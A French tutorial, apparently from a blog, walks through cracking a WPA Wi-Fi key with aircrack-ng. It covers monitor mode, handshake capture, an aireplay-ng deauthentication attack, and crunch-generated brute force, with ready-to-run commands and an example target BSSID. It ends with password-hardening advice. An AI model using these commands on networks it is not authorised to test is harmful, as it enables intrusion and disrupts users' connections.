Utilisation d'Aircrack avec génération de mots de passe à la volée

Bonjour tout le monde,

Comme nous l'avons vu dans la génération de dictionnaires avec crunch, la taille d'un dictionnaire pour obtenir une clef WPA AliceBox est énorme. Cependant vous pouvez le générer en mémoire si comme la majorité des gens vous avez un bon PC et pas 150Pb de disque :P

Pour ce faire, une fois obtenu le WPA Handshake, piper aircrak-ng à crunch pour qu'aircrack-ng puisse tester chaque ligne créer dans le dictionnaire

Syntaxe

crunch 16 16 0123456789 | aircrack-ng -a 2 'FICHIERCAPTUREWPA' -e 'SSID' -b 'HANDSHAKE' -w -

Exemple
crunch 16 16 0123456789 | aircrack-ng -a 2 WPA-HFK-01.cap -e HFK -b 00:20:E0:96:CD:74 -w -

Et voilà, maintenant soyez très patient. Et pour vous protéger des gens très patient, n'oubliez pas de changer la clef par défaut de votre Box ;-) 

  

Crack d'une clef WPA

Pour le citoyen lambda ayant une box adsl, la sécurité devrait être maintenant en WPA ou WPA2. 

Testons un petit peu tout ça !!!

Boot on Kali 

Passez votre carte réseau WLAN en mode monitor : 

airmon-ng start interface



Ecoutez les réseaux :
airodump-ng interface

Dans cet exercice, nous allons cibler le point d'accès dont l'essid est HFK, émettant sur le canal 11 et ayant comme adresse mac 00:20:E0:96:CD:74.


airodump-ng -w fichier -c canal --bssid BSSID interface

Pour obtenir un handshake, vous pouvez attendre qu'un client se connecte ou essayer cette attaque dans un autre terminal :


aireplay-ng -0 10 -a bssid -c station interface

Si l'attaque a réussi, l'apparition du WPA handshake en haut à droite de la fenetre indique la réussite de l'attaque et que le handshake se situe dans le fichier de capture, vous pouvez stopper airodump-ng et aireplay-ng.

Pour cracker le Handshake :
aircrack-ng -w dictionary fichier

Avec un dictionnaire conséquent :

Conclusion, dans le cas ou votre box ne puisse pas fournir de sécurite plus élevée, utilisez un code comportant plusieurs type de caractères et d'une taille généreuse pour decourager les petits malins voulant utiliser cette technique...  

Notez tout de meme qu'il est possible d'utiliser des dictionnaires et des ressources en ligne pour gagner du temps (https://www.cloudcracker.com/)